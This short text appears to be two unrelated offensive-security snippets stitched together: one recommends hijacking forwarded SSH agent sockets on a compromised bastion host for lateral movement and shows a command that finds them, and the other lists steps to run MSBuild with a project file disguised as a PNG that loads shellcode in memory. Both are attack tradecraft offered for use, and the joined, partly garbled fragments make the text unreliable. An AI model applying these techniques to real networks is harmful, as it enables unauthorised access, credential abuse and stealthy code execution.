Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

1. Open PowerShell
2. Set MSbuild GodMode Env Variable 
   $env:MSBUILDENABLEALLPROPERTYFUNCTIONS = 1 
3. Execute C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe msbuild.png.xml
   Note: This "Serves" Shellcode in a memory mapped file. 
   This is no accessible to other processes. 
   Change in line 62 in shellcode.cs . Manual offsets just to troll you. :)
 I leave this for you to explore
